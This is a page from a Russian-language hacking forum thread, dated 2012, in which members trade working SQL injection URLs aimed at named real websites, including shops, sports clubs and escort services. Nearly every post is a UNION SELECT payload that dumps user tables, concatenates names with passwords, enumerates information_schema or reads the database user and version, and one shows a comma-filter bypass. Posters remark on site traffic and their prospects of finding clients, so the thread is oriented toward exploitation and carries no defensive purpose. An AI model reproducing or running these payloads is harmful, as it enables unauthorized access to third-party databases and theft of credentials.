HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #14891  
Старый 29.04.2012, 15:59
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

Цитата:
Сообщение от None  
http://www.isopipe.gr/new.php?id=-11 union select news_id,news_title,news_lang ,news_intro,news_text,news_img_sm,news_img,news_or der from news --
увы нет таблиц пользовтаелей.
 
Ответить с цитированием

  #14892  
Старый 29.04.2012, 20:24
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

Очередной образец неудачного сайтостроительства.

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//ovoshhi.yomu.ru/index.php?URL=razdely.php&tip=-2+union+select+1,2,3,count(*),5,6,7,8,9,10,11+from+Polzovateli--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14893  
Старый 29.04.2012, 21:01
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

Картинки

Цитата:
Сообщение от None  
http://www.coloring.me/coloring-pages.php
?id=-2318 union select id_col,nom_fichier_col,nom_fichier_mini_col,nom_co l,cat_col,sous_cat_col,mots_cles_col,aide_titre_co l,date_col,date_maj_col
from coloring.coloring --
 
Ответить с цитированием

  #14894  
Старый 29.04.2012, 22:05
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//tekedb.uw.hu/jatekosadat.php?jid=-1+union+select+1,concat_ws(0x03a,name,password),3,4,5,6+from+users--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14895  
Старый 30.04.2012, 03:08
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

Картинг

Цитата:
Сообщение от None  
http://www.tonykart.com/leggi_prodotto_en.php?ID_prodotto=774&ID_categoria =62&ID_macrocategoria=-3 union select 1,2,concat_ws(0x2e,nome_file),4 from allegati_comunicati --
 
Ответить с цитированием

  #14896  
Старый 30.04.2012, 03:54
Га-Ноцри
Guest
Сообщений: n/a
Провел на форуме:
103014

Репутация: 76
По умолчанию

Я буду гореть в аду

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//kolyaski-nn.ru/index.php?id=12&cat=18&podcat=47&pid=-567+union+select+1,2,3,4,5,6,7,8,9,10,11--[/COLOR][/COLOR] 
 
Ответить с цитированием

  #14897  
Старый 30.04.2012, 16:35
BLurpi^_^
Guest
Сообщений: n/a
Провел на форуме:
65325

Репутация: 9
По умолчанию

ТИЦ 10

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.afh.ru/product_d.php

[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]unhex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]31303235343830303536[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0x27[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]unhex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]Hex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]cast[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]user[/COLOR][COLOR="#007700"]()[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]as[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#0000BB"]char[/COLOR][COLOR="#007700"]))),[/COLOR][COLOR="#0000BB"]0x27[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]unhex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]31303235343830303536[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]unhex[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]31303235343830303536[/COLOR][COLOR="#007700"])--[/COLOR][/COLOR
 
Ответить с цитированием

  #14898  
Старый 30.04.2012, 16:40
Ereee
Guest
Сообщений: n/a
Провел на форуме:
102354

Репутация: 267
По умолчанию

Интересные скульи(обход фильтрации запятых). Эскорт-услуги.

Посещаемость 2.8k/day.

Код:
Code:
http://www.sexrelax.ru/girls.php?link=983+union+select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select 5)e join (select version())f--+f
Посещаемость мала, но есть шансы клиентов найти

Код:
Code:
http://www.spbdosug.com/girls.php?link=341+union+%0A+select*from(select+1)a+join+(select+2)b+join+(select+login+from+users+where+id=1)c+join+(select+4)d+join+(select+5)e+join+(select+6)f+join+(select+7)g+join+(select+8)h+join+(select+9)k--+f
 
Ответить с цитированием

  #14899  
Старый 30.04.2012, 17:43
BLurpi^_^
Guest
Сообщений: n/a
Провел на форуме:
65325

Репутация: 9
По умолчанию

ТИЦ 10

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.detali52.ru/shop/i.php

[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]52011[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]()--[/COLOR][/COLOR
вывод в редиректе:

 
Ответить с цитированием

  #14900  
Старый 30.04.2012, 18:36
DTW
Участник форума
Регистрация: 11.05.2008
Сообщений: 202
Провел на форуме:
420713

Репутация: 104
По умолчанию

Хоккей

Цитата:
Сообщение от None  
http://www.caheathockey.com/team.php?id=-8 union select 1,2,3,4,5,6,7,8,9,concat_ws(0x2e,table_schema,tabl e_name,column_name),11,12+from+information_schema. columns limit 280, 100 --
Soccer Club

Цитата:
Сообщение от None  
http://www.iwsl.com/mapany.php?fld_id=-541 union select 1,2,concat_ws(0x2e,adl_id,adl_coa_id,adl_tea_id,ad l_type,adl_action,adl_is_xfer,adl_fee,adl_approved ,adl_lastmod),4,5,6,7,8,9,10 from adddroplog --
телепрограмма

Цитата:
Сообщение от None  
http://www.we.com.mt/page.php?type=programme&id=-5%20union%20select%201,2,3,4,5,6,7,concat_ws%280x2 e,table_schema,table_name,column_name%29,9,10,11,1 2,13,14,15,16,17%20from+information_schema.columns %20limit%20400,1000%20--
//постите все вместе
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ